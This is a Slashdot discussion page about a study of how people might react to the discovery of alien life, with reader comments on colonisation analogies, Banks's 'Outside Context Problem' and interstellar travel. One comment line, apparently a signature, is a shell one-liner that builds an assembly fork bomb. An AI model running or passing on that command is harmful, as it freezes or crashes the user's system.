Slashdot Mirror
Would You Fear Alien Life or Welcome It? (cnet.com)
If you've ever watched a science fiction movie about aliens, you'll know that humans tend to freak out and destroy everything when faced with incontrovertible proof of the existence of alien life. But a new analysis from Arizona State University psychology professor Michael Varnum and his colleagues suggests that humans might actually remain pretty calm and collected when that big news breaks. CNET reports: Varnum makes this conclusion based on an analysis of newspaper articles covering past potential discoveries of extraterrestrial life. Specifically, he and his colleagues looked at articles about the weird dimming of so-called "Tabby's Star," Earth-like planets around the star Trappist-1, and the potential discovery of Martian microbe fossils from 1996. They found language in the stories demonstrated much more positive emotion than fear or other negative emotions. In a second study, the team also surveyed over 500 people, asking them to guess how they and humanity would react to an announcement that alien microbial life had been discovered. In the case of both their own reaction and everyone else's, the participants hypothesized responses that were more positive than negative. The research was published last month in Frontiers in Psychology.
https://en.wikipedia.org/wiki/...
This novel is about how the Culture deals with an Outside Context Problem (OCP), the kind of problem "most civilizations would encounter just once, and which they tended to encounter rather in the same way a sentence encountered a full stop."
This is a problem that is "outside the context" as it is generally not considered until it occurs, and the capacity to actually conceive of or consider the OCP in the first place may not be possible or very limited (i.e., the majority of the group's population may not have the knowledge or ability to realize that the OCP can arise, or assume it is extremely unlikely). An example of OCP is an event in which a civilization does not consider the possibility that a much more technologically advanced society can exist, and then encounters one. The term is coined by Banks for the purpose of this novel, and described as follows:
The usual example given to illustrate an Outside Context Problem was imagining you were a tribe on a largish, fertile island; you'd tamed the land, invented the wheel or writing or whatever, the neighbors were cooperative or enslaved but at any rate peaceful and you were busy raising temples to yourself with all the excess productive capacity you had, you were in a position of near-absolute power and control which your hallowed ancestors could hardly have dreamed of and the whole situation was just running along nicely like a canoe on wet grass... when suddenly this bristling lump of iron appears sailless and trailing steam in the bay and these guys carrying long funny-looking sticks come ashore and announce you've just been discovered, you're all subjects of the Emperor now, he's keen on presents called tax and these bright-eyed holy men would like a word with your priests.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
In every case where an advanced civilization has encountered a much less advanced civilization, it hasn't worked out well for the less advanced civilization. Ask Native Americans if they think that the arrival of Europeans was good for their culture.
So, why should we expect that the arrival of aliens (who one can expect to be much more advanced than us) would be good for us?
The real "Libtards" are the Libertarians!
Should the Mayans and Aztecs have feared the Spanish conquistadors, or welcomed them?
Should the Aborigines have welcomed the colonizers from England, or feared them?
Should the American Indians have feared the colonizers from Europe, or welcomed them?
Should the North American beavers have welcomed the colonizers from Europe, or feared them?
When people fantasize about intelligent alien visitors, they usually place their intelligence level and physical characteristics close to our own. I am certain that would not be the case. Most likely they would mash us like potatoes. On the off chance they come in peace, the level of disruption they would cause to our worldwide community and economy would be immense.
Sorry but aliens were invented to convince dumb people to give smart scientists money. Let me explain. No life can exist without a sun, which is actually a star. The closest star to us is about 4 light years away. That means it takes light 4 years to travel that distance. Light travels extremely fast, 186,287 miles per second, and according to special relativity we can never go the speed of light because it requires infinite energy. So even if we could go a speed we can never go, it would take 4 years to get to the closest star. From there the distance goes up. Those stars you see in the sky are hundreds and thousands of light years away, which means at the fastest speed man has ever heard of, it would still take hundreds or thousands of years to reach. But imagine for a second there is some being that has the technology to travel that fast, why in the hell would they waste hundreds or thousands of years to visit us? Their technology compared to ours is like comparing humans to ants, there is nothing interesting about us at all compared to them. So aliens either don't exist or can't or won't visit us
"Time is an illusion. Lunchtime doubly so."
To clarify my H2G2 reference, time is a human concept. Humans tend to have a specific definition of a lifetime based on our biological makeup and limitations, roughly equating to a century or less. We have no idea what alien makeup will be, but logic dictates that their definition of a lifetime will be relative.
There are countless galaxies in existence, and you are failing to take into account that an alien lifetime could last a million light years, and a trip to our planet could be no more than a lunchtime break for them, even traveling considerably slower than our perceived light-speed limits.
TL; DR - Stop limiting your thinking within human-defined bounds. Whomever may come and visit, I just hope they know how to make a decent Pan Galactic Gargle Blaster. It would certainly help answer the question posed here.
Your father and/or your grandfather (depending on your age) had sex with your mother/grandmother in a society which almost by definition gave him a position of power to demand she obey him in such matters. Modern views would consider that non-consensual, and by definition rape.
As you are the outcome of that crime (extend back further in history if you want to make it stronger) you are by definition profiting and prospering from what we now consider crimes.
Or, alternatively, you could consider that perhaps, even though we may not currently agree with actions taken historically, as we had no influence over them, and as they were not crimes at the time, we do not in fact have a responsibility because of them.
See how it works?
Do you mean computer viruses?
Even then I find it hard to believe a possibility. Knowing how to hack our computers never having worked with one... That's would be like asking a modern day hacker to hack the enigma machine without seeing it, knowing its specs, knowing how it works, and be able to do it remotely without the recipient knowing.